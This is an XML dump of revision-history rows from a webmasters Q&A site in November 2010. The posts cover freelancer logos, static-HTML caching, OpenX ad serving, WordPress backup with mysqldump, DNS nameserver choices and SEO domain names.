  <row Id="11952" PostHistoryTypeId="2" PostId="5985" RevisionGUID="8cd7419f-2bd3-492e-a6b5-b20b111d3156" CreationDate="2010-11-28T04:38:01.310" UserId="1064" Text="I would only implement a logo if it represents either the kind of work you are capable of or if you have reason to believe it will add to clients' confidence in paying for your services - your work should speak for itself (an exception: if your services include logo design) so, whatever you do, don't settle for a mediocre logo just because everyone else has one." />
  <row Id="11953" PostHistoryTypeId="5" PostId="5984" RevisionGUID="4e8b4a68-5885-4f46-9f64-d7a69e86576f" CreationDate="2010-11-28T05:24:04.677" UserId="3506" Comment="added 138 characters in body" Text="How important is a logo for a freelancer ?&#xD;&#xA;&#xD;&#xA;If I'm going to design a small static website to represent myself with 'about', 'skills', 'portfolio' ... etc. pages and I want to keep the design as simple as I can...&#xD;&#xA;&#xD;&#xA;Is it crucial to take lots of time and try to design an abstract logo that would represent me as a freelancer, or what I do ?&#xD;&#xA;&#xD;&#xA;Work I do: web design and development, custom solutions.. etc.&#xD;&#xA;&#xD;&#xA;Target audience: small business owners, and potential recruiters ?&#xD;&#xA;" />
  <row Id="11954" PostHistoryTypeId="2" PostId="5986" RevisionGUID="339e2d98-9fe1-45f3-afbd-260e00cfd27d" CreationDate="2010-11-28T06:14:34.740" UserId="3224" Text="I'm working on a website which uses /news/title-of-news-article--111.html (111 = unique ID of the news article). I was thinking it might be a good idea to have some form of a caching system for the news articles.&#xD;&#xA;&#xD;&#xA;Essentially, my idea would be to have a .html version of the news article (i.e. just the news part that's dynamically generated) be created when it was marked live (making it so visitors and search engines can see it). The .php script that displays the content would check to see if a .html file with the news id exists, and would use that instead of querying the database. Of course, if the .html file didn't exists for some reason, it would fall back to querying the database like the site currently does now.&#xD;&#xA;&#xD;&#xA;Any issues you guys see with that approach? This is meant more for when a ton of visitors view a news article, since ideally I'd assume grabbing a &quot;static&quot; .html file is better on the server and the database than querying." />
  <row Id="11955" PostHistoryTypeId="1" PostId="5986" RevisionGUID="339e2d98-9fe1-45f3-afbd-260e00cfd27d" CreationDate="2010-11-28T06:14:34.740" UserId="3224" Text="Thoughts on this approach for a news post caching system?" />
  <row Id="11956" PostHistoryTypeId="3" PostId="5986" RevisionGUID="339e2d98-9fe1-45f3-afbd-260e00cfd27d" CreationDate="2010-11-28T06:14:34.740" UserId="3224" Text="&lt;html&gt;&lt;php&gt;&lt;mysql&gt;&lt;database&gt;" />
  <row Id="11957" PostHistoryTypeId="2" PostId="5987" RevisionGUID="9889eba9-28d3-42f5-aef0-6aac957fb6d6" CreationDate="2010-11-28T08:26:33.833" UserId="1757" Text="A logo/trademark/service mark is an essential part of your brand identity. It's the most prominent visual representation of your organization. In a way, it's the public face of your organization. I.e. when you think about AT&amp;T, Ford, McDonald's, Google, etc. what is the first image that comes to your mind? It's probably their logo&amp;mdash;the icon, the colors, the particular type treatment, etc.&#xD;&#xA;&#xD;&#xA;Pretty much all organizations and businesses have some sort of brand mark. It could be a simple black &amp; white logotype, or it could be an elaborate full-color graphical logo, but any organization that wants to be taken seriously *needs* to have one.&#xD;&#xA;&#xD;&#xA;Even if you're just an individual freelancer, your business still needs a brand. You need something that potential customers will associate with your business that distinguishes you from competitors. If you've got no logo, then your personal brand will be *anonymity*.&#xD;&#xA;&#xD;&#xA;Consider what is more professional and memorable:&#xD;&#xA;&#xD;&#xA; 1. A plain white business card with plain same-sized text for the person's name, title, phone number, email, and website&#xD;&#xA;&lt;br/&gt;&amp;mdash;versus&amp;mdash;&lt;br/&gt;&#xD;&#xA;a business card with the exact same information on it, but this time in a dual-tone design, thoughtful typography, and with the name emblazoned across the card in a nice, heavy, stylized typeface?&#xD;&#xA; 2. Contracts, invoices, reports, etc. in plain white envelopes, plain stationary, and that look like they were created from stock Word templates (some of them have the contractor's name on them, others don't; some are in Arial, others in Times New Roman; different font sizes, etc.)&#xD;&#xA;&lt;br/&gt;&amp;mdash;versus&amp;mdash;&lt;br/&gt;&#xD;&#xA;everything in official company stationary with identical professionally designed letterheads with company logo, consistent fonts and formatting across all documents and communiques, and everything arriving in custom envelops&amp;mdash;also with the contractor's logo on it.&#xD;&#xA; 3. A plain website with a generic Wordpress/Joomla/Drupal theme that just has the freelancer's name in plain text across the top.&#xD;&#xA;&lt;br/&gt;&amp;mdash;versus&amp;mdash;&lt;br/&gt;&#xD;&#xA;A professionally designed website with a color scheme and visual style matching the professionally designed logo featured in the masthead.&#xD;&#xA;&#xD;&#xA;Which of the 2 approaches outlined above do you think delivers a better and more memorable client experience? Both get the job done, but one of them reminds the client at every turn that they're dealing with the same company and reinforces the brand in the client's mind. So if your brand message is *friendliness and professionalism*, then every time the client sees your letterhead, your business card, your website, etc. they're reminded of how *friendly* and *professional* you are.&#xD;&#xA;&#xD;&#xA;A well-designed logo is central to all of this. Just having it stamped on all of your business collateral creates a cohesive experience for the client. And it's especially important for an individual freelancer as it distinguishes you from being just another private individual.&#xD;&#xA;&#xD;&#xA;I.e. if you see &quot;Joe Jackson&quot; scrawled or printed on a piece of paper, that just looks like some random name; maybe he's an accountant, or a construction worker, or a burger flipper, or maybe just some 14-year-old kid&amp;mdash;who knows? But if that name is stylized with a type treatment and made into a logo, then immediately you perceive it differently. Now it's the name of a law practice or some other professional services provider. And if that name has a graphical logo by it, you may even be able to tell at a glance that he's a web developer, or a graphic designer, or whatever the case may be.&#xD;&#xA;&#xD;&#xA;In terms of your website, if you don't have a logo will the visitor be able to tell that this is a business site rather than a personal site? First impressions are made in the first 5 seconds. Will the visitor's first impression be &quot;this looks like a personal blog&quot; or &quot;wow, this is a really professional website!&quot;?" />
  <row Id="11958" PostHistoryTypeId="5" PostId="5987" RevisionGUID="9b17a1a7-a5a0-4f17-83eb-2b8e52420962" CreationDate="2010-11-28T08:31:38.757" UserId="1757" Comment="deleted 10 characters in body; deleted 7 characters in body" Text="A logo/trademark/service mark is an essential part of your brand identity. It's the most prominent visual representation of your organization. In a way, it's the public face of your organization. I.e. when you think about AT&amp;T, Ford, McDonald's, Google, etc. what is the first image that comes to your mind? It's probably their logo&amp;mdash;the icon, the colors, the particular type treatment, etc.&#xD;&#xA;&#xD;&#xA;Pretty much all organizations and businesses have some sort of brand mark. It could be a simple black &amp; white logotype, or it could be an elaborate full-color graphical logo, but any organization that wants to be taken seriously *needs* to have one.&#xD;&#xA;&#xD;&#xA;Even if you're just an individual freelancer, your business still needs a brand. You need something that potential customers will associate with your business that distinguishes you from competitors. If you've got no logo, then your personal brand will be *anonymity*.&#xD;&#xA;&#xD;&#xA;Consider what is more professional and memorable:&#xD;&#xA;&#xD;&#xA; 1. A plain white business card with plain same-sized text for the person's name, title, phone number, email, and website&#xD;&#xA;&lt;br/&gt;&amp;mdash;versus&amp;mdash;&lt;br/&gt;&#xD;&#xA;a business card with the exact same information on it, but this time in a dual-tone design, thoughtful typography, and with the name emblazoned across the card in a nice, heavy, stylized typeface?&#xD;&#xA; 2. Contracts, invoices, reports, etc. in plain white envelopes, plain stationary, and that look like they were created from stock Word templates (some of them have the contractor's name on them, others don't; some are in Arial, others in Times New Roman; different font sizes, etc.)&#xD;&#xA;&lt;br/&gt;&amp;mdash;versus&amp;mdash;&lt;br/&gt;&#xD;&#xA;everything in official company stationary with identical professionally designed letterheads with company logo, consistent fonts and formatting across all documents and communiques, and everything arriving in custom envelops&amp;mdash;also with the contractor's logo on it.&#xD;&#xA; 3. A plain website with a generic Wordpress/Joomla/Drupal theme that just has the freelancer's name in plain text across the top.&#xD;&#xA;&lt;br/&gt;&amp;mdash;versus&amp;mdash;&lt;br/&gt;&#xD;&#xA;A professionally designed website with a color scheme and visual style matching the professionally designed logo featured in the masthead.&#xD;&#xA;&#xD;&#xA;Which of the 2 approaches outlined above do you think delivers a better and more memorable client experience? Both get the job done, but one of them reminds the client at every turn that they're dealing with the same company and reinforces the brand in the client's mind. So if your brand message is *friendliness and professionalism*, then every time the client sees your letterhead, your business card, your website, etc. they're reminded of how *friendly* and *professional* you are.&#xD;&#xA;&#xD;&#xA;A well-designed logo is central to all of this. Just having it stamped on all of your business collateral creates a cohesive experience for the client. And it's especially important for an individual freelancer as it distinguishes you from being just another private individual.&#xD;&#xA;&#xD;&#xA;I.e. if you see &quot;Joe Jackson&quot; scrawled or printed on a piece of paper, that just looks like some random name; maybe he's an accountant, or a construction worker, or a burger flipper, or maybe just some 14-year-old kid&amp;mdash;who knows? But if that name is stylized with a type treatment and made into a logo, then immediately you perceive it differently. Now it's the name of a law practice or some other type of professional. And if that name has a graphical logo by it, you may even be able to tell at a glance that he's a web developer, or a graphic designer, or whatever the case may be.&#xD;&#xA;&#xD;&#xA;In terms of your website, if you don't have a logo will the visitor be able to tell that this is a business site rather than a personal site? First impressions are made in the first 5 seconds. Will the visitor's first impression be &quot;this looks like a personal blog&quot; or &quot;this is a professional business site&quot;?" />
  <row Id="11959" PostHistoryTypeId="2" PostId="5988" RevisionGUID="a9da09bc-302d-4a92-abf0-5a4015f39b8b" CreationDate="2010-11-28T09:05:27.383" UserId="1012" Text="Are there any ad serving systems, that allow webmasters to serve ads from their clients on their sites? The client provides an image/text and a link and the website displays the ad in designated spaces. The website would display only ads from their own customers (nothing from a public ad network like adsense).&#xD;&#xA;&#xD;&#xA;Can you please provide examples of such ad serving solutions? Preferrably free/opensource." />
  <row Id="11960" PostHistoryTypeId="1" PostId="5988" RevisionGUID="a9da09bc-302d-4a92-abf0-5a4015f39b8b" CreationDate="2010-11-28T09:05:27.383" UserId="1012" Text="How to serve custom ads for clients on my site?" />
  <row Id="11961" PostHistoryTypeId="3" PostId="5988" RevisionGUID="a9da09bc-302d-4a92-abf0-5a4015f39b8b" CreationDate="2010-11-28T09:05:27.383" UserId="1012" Text="&lt;advertising&gt;&lt;service&gt;" />
  <row Id="11962" PostHistoryTypeId="2" PostId="5989" RevisionGUID="431debd3-f8d4-448d-8aea-a05d93ddc753" CreationDate="2010-11-28T09:37:28.763" UserId="1834" Text="Which Wordpress plugin would you recommend to someone with only basic PHP and MySQL skills to back up a quite large WP (engine version 2.2.1) site as safely as possible? The backup should allow redeploying the site with/to an updated, clean install of the WP engine." />
  <row Id="11963" PostHistoryTypeId="1" PostId="5989" RevisionGUID="431debd3-f8d4-448d-8aea-a05d93ddc753" CreationDate="2010-11-28T09:37:28.763" UserId="1834" Text="Plugin to back up a Wordpress (version 2.2.1) site?" />
  <row Id="11964" PostHistoryTypeId="3" PostId="5989" RevisionGUID="431debd3-f8d4-448d-8aea-a05d93ddc753" CreationDate="2010-11-28T09:37:28.763" UserId="1834" Text="&lt;wordpress&gt;&lt;backups&gt;&lt;plugin&gt;" />
  <row Id="11965" PostHistoryTypeId="2" PostId="5990" RevisionGUID="825fdfaa-34e9-4c1f-b5b8-5b119e9d56d7" CreationDate="2010-11-28T11:42:17.080" UserId="1757" Text="While there are plugins to simplify the process (I dunno to what extent, as I've never used them), you can also do it manually without much programming knowledge (or really any at all).&#xD;&#xA;&#xD;&#xA;The first way I'd do it is just to use Wordpress's XML Export function. This is the easiest way to move content from one Wordpress install to another. However, this only backs up posts and comments. You will need to back up your themes, plugins, and uploaded files separately.&#xD;&#xA;&#xD;&#xA;Your other option is to just do an SQL dump. If you're using MySQL, then use the [`mysqldump`][1] command:&#xD;&#xA;&#xD;&#xA;    mysqldump -h [host] -u [user] -p [database] &gt; [filename]&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    mysqldump -h mysql.domain.tld -u foo -p mydatabase &gt; mydatabase-2010-11-28.sql&#xD;&#xA;&#xD;&#xA;You'll still need to backup your files separately, but this should also backup your wordpress configurations. Though if you're doing an upgrade, this probably isn't desirable.&#xD;&#xA;&#xD;&#xA;You can easily write a shell script or PHP script to perform the mysqldump and file backups (just gzip them to a backup directory) and automate them with a cron job.&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/doc/refman/5.1/en/mysqldump.html" />
  <row Id="11966" PostHistoryTypeId="2" PostId="5991" RevisionGUID="90e21063-6d55-43d5-a9d2-18acfbbb1cea" CreationDate="2010-11-28T14:02:19.050" UserId="3508" Text="[Openx][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/" />
  <row Id="11967" PostHistoryTypeId="2" PostId="5992" RevisionGUID="99eee96d-1f21-4dcb-891c-dcf17329c308" CreationDate="2010-11-28T14:07:00.623" UserId="3508" Text="http://www.openx.org/ ?" />
  <row Id="11968" PostHistoryTypeId="2" PostId="5993" RevisionGUID="59f40746-a06e-4c37-ba9a-fa22fdf0122c" CreationDate="2010-11-28T14:12:18.340" UserId="1757" Text="It seems fine, but why put a numeric ID in the filename? The user doesn't need to see that. It just clutters the URL.&#xD;&#xA;&#xD;&#xA;Also, there may be other solutions you could explore. For example, databases like MySQL have query caching, which caches frequent queries instead of having to execute the query again and again. This is enabled by default, but you may want to optimize the cache size for your server. And if you use [Memcached][1], then the database server won't even need to be connected to as the data will be cached in local memory.&#xD;&#xA;&#xD;&#xA;On a separate note, make sure your web server is using FastCGI. Switching from CGI to FastCGI can literally reduce your server response time by over 50%, making your PHP script essentially as fast as loading a flat file. Any competent web host should already be using it, but if you're not, then this would be priority number one for me. You might also want to use APC, which caches your PHP scripts as byte code and further speeds up response time.&#xD;&#xA;&#xD;&#xA;I think caching to flat html files is still a smart move to reduce server load, but be aware of these other optimizations as they can make a big difference as well.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Memcached" />
  <row Id="11969" PostHistoryTypeId="2" PostId="5994" RevisionGUID="d75cf71d-12be-4570-a6af-d48baffdd81c" CreationDate="2010-11-28T14:15:59.990" UserId="3453" Text="[OpenX][1] has a [geographic targeting][2] option starting from $50+$12/month for updates (also note that OpenX is open-source and free).&#xD;&#xA;Fairly easy learning curve (though administartion can be improved) and lots, lots of options.&#xD;&#xA;&#xD;&#xA;The script began as a fork of phpAds, and went through the names phpAdsNew, OpenAds and finally OpenX if that rings a bell.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openx.org/publisher/open-source-ad-server&#xD;&#xA;  [2]: http://www.openx.org/support/geotargeting" />
  <row Id="11970" PostHistoryTypeId="2" PostId="5995" RevisionGUID="e12155b6-8757-489f-a50b-084c438f549e" CreationDate="2010-11-28T14:27:37.453" UserId="3453" Text="Generally, if a group of people with IQ &gt;&gt; age (which is a must for any webmaster) recommends a certain solution, there is a reason behing that.&#xD;&#xA;&#xD;&#xA;Yes, WP makes things a lot easier. Just install wp-super-cache or a similar plugin and your speed problem is solved.&#xD;&#xA;&#xD;&#xA;Also, you can use [.htaccess browser caching][1] to further improve speed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.bg/search?sourceid=chrome&amp;ie=UTF-8&amp;q=htaccess+browser+caching" />
  <row Id="11971" PostHistoryTypeId="2" PostId="5996" RevisionGUID="76f246fd-e793-4d77-9a6a-9834f9851b5b" CreationDate="2010-11-27T14:14:20.063" UserDisplayName="javangelo" Text="I have my hosting on Godaddy and domain on another server. So I was thinking which would be a better option to point the domain to Godaddy hosting&#xD;&#xA;&#xD;&#xA; 1. Change the name server to that of godaddy. &#xD;&#xA; 2. Change the DNS &quot;A&quot; Record on the site where I have bought the domain.&#xD;&#xA;&#xD;&#xA;thanks...&#xD;&#xA;&#xD;&#xA;/neer&#xD;&#xA;&#xD;&#xA;www.technimi.com" />
  <row Id="11972" PostHistoryTypeId="1" PostId="5996" RevisionGUID="76f246fd-e793-4d77-9a6a-9834f9851b5b" CreationDate="2010-11-27T14:14:20.063" UserDisplayName="javangelo" Text="Which is better between changing Nameservers and changing DNS &quot;A&quot; Records ?" />
  <row Id="11973" PostHistoryTypeId="3" PostId="5996" RevisionGUID="76f246fd-e793-4d77-9a6a-9834f9851b5b" CreationDate="2010-11-27T14:14:20.063" UserDisplayName="javangelo" Text="&lt;dns&gt;&lt;nameserver&gt;" />
  <row Id="11974" PostHistoryTypeId="17" PostId="5996" RevisionGUID="f8e9564f-90d2-45a1-868e-b24b80dfbdfa" CreationDate="2010-11-28T15:11:25.123" UserId="-1" Comment="from http://stackoverflow.com/questions/4292047/which-is-better-between-changing-nameservers-and-changing-dns-a-records" Text="" />
  <row Id="11975" PostHistoryTypeId="2" PostId="5997" RevisionGUID="7357f297-ba57-49e1-8d8e-37a77de9ffe5" CreationDate="2010-11-28T15:35:37.487" UserId="1757" Text="Unless you have a static IP, you should just point the domain to your web host's nameservers. Even if you've purchased a unique IP, the IP can change if your web host decides to move you to a different server (e.g. a temporary relocation while the server is being fixed or upgraded) or restructure their network.&#xD;&#xA;&#xD;&#xA;Very rarely would you ever want to manually create a DNS record instead of pointing to the proper nameservers." />
  <row Id="11976" PostHistoryTypeId="2" PostId="5998" RevisionGUID="1463c5f9-528d-4ec2-b3fd-5ad3320b70b4" CreationDate="2010-11-28T16:17:23.913" UserId="3225" Text="First of all this question would probably be better placed on http://wordpress.stackexchange.com ...&#xD;&#xA;&#xD;&#xA;1) **database** For the database many users rely on the WP DB Manager since it automatically performs backups, repairs etc... on the database: http://wordpress.org/extend/plugins/wp-dbmanager/ the advantage is that you access these things from your WordPress panel and it is crontabbed via there. There are also other plugins for this.&#xD;&#xA;It keeps various copies of your backupped file, archived and compressed. If you want you can sftp them to your local desktop.&#xD;&#xA;The plugin creates a seperate icon &quot;database&quot; and has repair, optimize, info on table usage, you can run queries from it, you can schedule backups and optimizing, &#xD;&#xA;&#xD;&#xA;2) **WordPress code** For the codebase in general it is something you would not have to version management yourself since it is &quot;3rd party&quot;, what you could do is svn it to your root dir and e.g. if your site was hacked update the lot with a new svn run. Here is how to to do it: http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion&#xD;&#xA;&#xD;&#xA;3) **Plugins** The plugins idem. Keep a list of them, they are all 3rd party so you do not need to version them yourself. They are kept in the svn plugin dir. If you wrote plugins yourself obviously you already have versioned them.&#xD;&#xA;&#xD;&#xA;4) **Template** What is left are the specific files you changed yourself and they will mostly be sitting in the template\theme directory. For this it is easiest to regularly sftp yourself the changes. Ideally you would always first test things on a local install and then put things no production so you would never have to &quot;get things from production&quot; but just in case you hotfixed something there you can always bring it back in that way. For most users: they only edit template files in the theme directory and the file &quot;wp-config&quot; with their config details.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11977" PostHistoryTypeId="5" PostId="5998" RevisionGUID="d5a0483e-7797-49e9-bf5a-ef329a00f268" CreationDate="2010-11-28T16:28:12.550" UserId="3225" Comment="added 697 characters in body; added 187 characters in body" Text="First of all this question would probably be better placed on http://wordpress.stackexchange.com ...&#xD;&#xA;&#xD;&#xA;#What to backup #&#xD;&#xA;&#xD;&#xA;1) **database** &#xD;&#xA;&#xD;&#xA;location: defined in your wp-config.php&#xD;&#xA;&#xD;&#xA;For the database many users rely on the WP DB Manager since it automatically performs backups, repairs etc... on the database: http://wordpress.org/extend/plugins/wp-dbmanager/ the advantage is that you access these things from your WordPress panel and it is crontabbed via there. There are also other plugins for this.&#xD;&#xA;It keeps various copies of your backupped file, archived and compressed. If you want you can sftp them to your local desktop.&#xD;&#xA;The plugin creates a seperate icon &quot;database&quot; and has repair, optimize, info on table usage, you can run queries from it, you can schedule backups and optimizing, &#xD;&#xA;&#xD;&#xA;2) **wp-content: Template** &#xD;&#xA;&#xD;&#xA;location: \wp-content\themes\yourtheme\&#xD;&#xA;&#xD;&#xA;What is left are the specific files you changed yourself and they will mostly be sitting in the template\theme directory. For this it is easiest to regularly sftp yourself the changes. Ideally you would always first test things on a local install and then put things no production so you would never have to &quot;get things from production&quot; but just in case you hotfixed something there you can always bring it back in that way. It is located under \wp-content\&#xD;&#xA;&#xD;&#xA;3) **wp-content: Uploads**&#xD;&#xA;&#xD;&#xA;location: \wp-content\uploads&#xD;&#xA;&#xD;&#xA;In here you will find all uploads like images etc... back them up also regularly. Theoretically you could exclude all generated thumbnails since you can regenerate them but that is further optimilization.&#xD;&#xA;&#xD;&#xA;4) **config** &#xD;&#xA;&#xD;&#xA;location: root&#xD;&#xA;&#xD;&#xA;backup the file &quot;wp-config.php&quot; and the file &quot;.htaccess&quot; in the root of the WordPress directory.&#xD;&#xA;&#xD;&#xA;#What not to backup #&#xD;&#xA;&#xD;&#xA;1) **WordPress code** &#xD;&#xA;&#xD;&#xA;location: root, \wp-includes, \wp-admin&#xD;&#xA;&#xD;&#xA;For the codebase in general it is something you would not have to version management yourself since it is &quot;3rd party&quot;, what you could do is svn it to your root dir and e.g. if your site was hacked update the lot with a new svn run. Here is how to to do it: http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion&#xD;&#xA;&#xD;&#xA;2) **Plugins** &#xD;&#xA;&#xD;&#xA;location: \wp-content\plugins&#xD;&#xA;&#xD;&#xA;The plugins idem. Keep a list of them, they are all 3rd party so you do not need to version them yourself. They are kept in the svn plugin dir. If you wrote plugins yourself obviously you already have versioned them. You can also keep a copy of the downloaded plugins but they auto-update themselves.&#xD;&#xA;&#xD;&#xA;3) **Cache**&#xD;&#xA;&#xD;&#xA;location: \wp-content\cache, \wp-content\widget-cache, etc...&#xD;&#xA;&#xD;&#xA;No need to backup the cache(s)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Of course if you put things somewhere yourself on a weirder place then you need to backup that also IF that changed on production.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11978" PostHistoryTypeId="5" PostId="5998" RevisionGUID="0f36b76d-5a95-4d52-b158-5848c13c1424" CreationDate="2010-11-28T16:37:53.933" UserId="3225" Comment="added 607 characters in body; added 299 characters in body" Text="First of all this question would probably be better placed on http://wordpress.stackexchange.com ...&#xD;&#xA;&#xD;&#xA;#What to backup #&#xD;&#xA;&#xD;&#xA;1) **database** &#xD;&#xA;&#xD;&#xA;location: defined in your wp-config.php&#xD;&#xA;&#xD;&#xA;For the database many users rely on the WP DB Manager since it automatically performs backups, repairs etc... on the database: http://wordpress.org/extend/plugins/wp-dbmanager/ the advantage is that you access these things from your WordPress panel and it is crontabbed via there. There are also other plugins for this.&#xD;&#xA;It keeps various copies of your backupped file, archived and compressed. If you want you can sftp them to your local desktop.&#xD;&#xA;The plugin creates a seperate icon &quot;database&quot; and has repair, optimize, info on table usage, you can run queries from it, you can schedule backups and optimizing, &#xD;&#xA;&#xD;&#xA;2) **wp-content: Template** &#xD;&#xA;&#xD;&#xA;location: \wp-content\themes\yourtheme\&#xD;&#xA;&#xD;&#xA;What is left are the specific files you changed yourself and they will mostly be sitting in the template\theme directory. For this it is easiest to regularly sftp yourself the changes. Ideally you would always first test things on a local install and then put things no production so you would never have to &quot;get things from production&quot; but just in case you hotfixed something there you can always bring it back in that way. It is located under \wp-content\&#xD;&#xA;&#xD;&#xA;3) **wp-content: Uploads**&#xD;&#xA;&#xD;&#xA;location: \wp-content\uploads&#xD;&#xA;&#xD;&#xA;In here you will find all uploads like images etc... back them up also regularly. Theoretically you could exclude all generated thumbnails since you can regenerate them but that is further optimilization.&#xD;&#xA;&#xD;&#xA;4) **config** &#xD;&#xA;&#xD;&#xA;location: root&#xD;&#xA;&#xD;&#xA;backup the file &quot;wp-config.php&quot; and the file &quot;.htaccess&quot; in the root of the WordPress directory.&#xD;&#xA;&#xD;&#xA;#What not to backup #&#xD;&#xA;&#xD;&#xA;1) **WordPress code** &#xD;&#xA;&#xD;&#xA;location: root, \wp-includes, \wp-admin&#xD;&#xA;&#xD;&#xA;For the codebase in general it is something you would not have to version management yourself since it is &quot;3rd party&quot;, what you could do is svn it to your root dir and e.g. if your site was hacked update the lot with a new svn run. Here is how to to do it: http://codex.wordpress.org/Installing/Updating_WordPress_with_Subversion&#xD;&#xA;&#xD;&#xA;2) **Plugins** &#xD;&#xA;&#xD;&#xA;location: \wp-content\plugins&#xD;&#xA;&#xD;&#xA;The plugins idem. Keep a list of them, they are all 3rd party so you do not need to version them yourself. They are kept in the svn plugin dir. If you wrote plugins yourself obviously you already have versioned them. You can also keep a copy of the downloaded plugins but they auto-update themselves.&#xD;&#xA;&#xD;&#xA;3) **Cache**&#xD;&#xA;&#xD;&#xA;location: \wp-content\cache, \wp-content\widget-cache, etc...&#xD;&#xA;&#xD;&#xA;No need to backup the cache(s)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Of course if you put things somewhere yourself on a weirder place then you need to backup that also IF that changed on production.&#xD;&#xA;&#xD;&#xA;#(Emergency) FULL Restore#&#xD;&#xA;&#xD;&#xA;1. clean the installation dir&#xD;&#xA;2. run the latest valid .sql script (from the backup) to restore the db&#xD;&#xA;3. svn wordpresss itself (See above), now you have WordPress back&#xD;&#xA;4. svn the plugins / copy the plugin directory you kept, now you have the plugins back&#xD;&#xA;5. copy back the wp-config.php and the .htaccess file&#xD;&#xA;6. activate your plugins one by one or use an auto-activate-all script (see wordpress.stackexchange.com)&#xD;&#xA;7. upload the wp-content/uploads dir : now your uploaded stuff is back&#xD;&#xA;8. upload your specific theme: and now your specific theme is back also&#xD;&#xA;&#xD;&#xA;You could/should test the full restore test, maybe locally with a XAMPP installation (http://www.apachefriends.org/en/xampp.html) but before doing the full restore in a test environment you should change in the .sql file some settings to reflect the fact that it is running on another server. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11979" PostHistoryTypeId="2" PostId="5999" RevisionGUID="d0016764-4d4e-404c-b159-8c459d617f56" CreationDate="2010-11-28T17:23:32.137" UserId="2707" Text="I guess it depends on who the client is. If it's for yourself, and you feel comfortable using straight HTML/CSS, by all means hand code it yourself. But if it's for a client, I'd go Wordpress, personally.&#xD;&#xA;&#xD;&#xA;If I had a penny for every time a client asked me to update the content on their site, I'd have several thousand pennies at this point. Wordpress allows them to easily go in and update content without having to know a lick of HTML. Furthermore, Wordpress gives the ability to easily add a blog to their site with minimal effort (huge selling point these days).&#xD;&#xA;&#xD;&#xA;Speed wise, a properly configured Wordpress install should run about as fast as a hand coded website. Also, some plugins give you a huge leg up when it comes to SEO/extensibility. Check out these plugins:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/hyper-cache/&quot;&gt;Hyper Cache&lt;/a&gt; - It's got a lot more cool features for caching that Super Cache doesn't offer.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-google-sitemap-xml/&quot;&gt;Google Sitemaps&lt;/a&gt; - Sitemaps are very helpful for SEO. They can be a pain sometimes to code. This plugin makes them automatically, so that's nice.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Look into &lt;a href=&quot;http://code.google.com/speed/page-speed/docs/module.html&quot;&gt;mod_pagespeed&lt;/a&gt; and gzip for increased speed.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;When doing a new Wordpress install, I'm always sure to follow this &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/20-steps-to-a-flexible-and-secure-wordpress-installation/&quot;&gt;Nettuts+ guide&lt;/a&gt; for a safe and secure install of Wordpress. &#xD;&#xA;Since you aren't checking up on this site every day, it always helps to have an extremely secure install of Wordpress.&#xD;&#xA;&#xD;&#xA;Hope this helps and please let us know what you decide on soon." />
  <row Id="11980" PostHistoryTypeId="2" PostId="6000" RevisionGUID="3d4112b3-75a9-4d29-84e6-903766537427" CreationDate="2010-11-28T17:23:45.800" UserId="2930" Text="I want to make a blog but I am confused with the domain name.I took helped from Google to search for the keywords and found **&quot;C programming&quot;**,&quot;**C language**&quot;and &quot;**C language tutorials**&quot; very rich.The problem is that I don't know how to choose a good domain name.I want my domain name to contain maximum rich keywords for SEO.Please help me produce a domain name." />
  <row Id="11981" PostHistoryTypeId="1" PostId="6000" RevisionGUID="3d4112b3-75a9-4d29-84e6-903766537427" CreationDate="2010-11-28T17:23:45.800" UserId="2930" Text="How to produce a domain name?" />
  <row Id="11982" PostHistoryTypeId="3" PostId="6000" RevisionGUID="3d4112b3-75a9-4d29-84e6-903766537427" CreationDate="2010-11-28T17:23:45.800" UserId="2930" Text="&lt;seo&gt;&lt;domain-names&gt;" />
  <row Id="11983" PostHistoryTypeId="2" PostId="6001" RevisionGUID="26f2d78c-27a8-43df-8e2a-984effcc26dc" CreationDate="2010-11-28T17:25:55.770" UserId="3148" Text="Most websites have images with text embedded into the images.&#xD;&#xA;Shure, they look great, but when it comes to translation&#xD;&#xA;into other languages, it immediately gets painful to maintain.&#xD;&#xA;&#xD;&#xA;Are there any examples of modern beutiful static websites,  &#xD;&#xA;2 - 5 pages, fixed with, top navigation, footer, 1 - 2 columns,  &#xD;&#xA;using only CSS, text and &quot;images without text&quot; ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11984" PostHistoryTypeId="1" PostId="6001" RevisionGUID="26f2d78c-27a8-43df-8e2a-984effcc26dc" CreationDate="2010-11-28T17:25:55.770" UserId="3148" Text="Create beutiful websites with &quot;text free images&quot; ?" />
  <row Id="11985" PostHistoryTypeId="3" PostId="6001" RevisionGUID="26f2d78c-27a8-43df-8e2a-984effcc26dc" CreationDate="2010-11-28T17:25:55.770" UserId="3148" Text="&lt;website-design&gt;" />
